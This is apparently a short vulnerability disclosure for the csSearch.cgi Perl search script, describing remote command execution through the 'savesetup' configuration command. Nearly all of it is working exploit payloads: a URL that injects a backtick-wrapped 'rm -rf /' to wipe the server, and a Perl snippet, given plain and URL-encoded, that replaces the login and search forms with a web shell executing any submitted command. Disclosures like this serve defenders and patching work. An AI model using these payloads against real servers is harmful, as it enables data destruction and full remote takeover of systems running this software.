CSSearch Remote Command Execution Vulnerability

CSSearch Remote Command Execution Vulnerability

The following example was submitted:

Configuration data is saved with the following URL.
Note that any perl code would need to be URL encoded.

csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

For example, the classic "rm -rf /" example would be
as follows:

csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`

Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.

*ShowSearchForm = *Login = sub {
print "<form method=post action=csSearch.cgi>Enter
Command (eg: ls -l)<br>";
print "<input type=text name=cmd size=99> ";
print "<input type=submit value=Execute><hr><xmp>";
$in{'cmd'} && print `$in{'cmd'} 2>&1`;
exit;
};

URL Encoded as:

csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Comm
and+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd'}%26
%26print`$in{'cmd'}+2>%261`;exit;};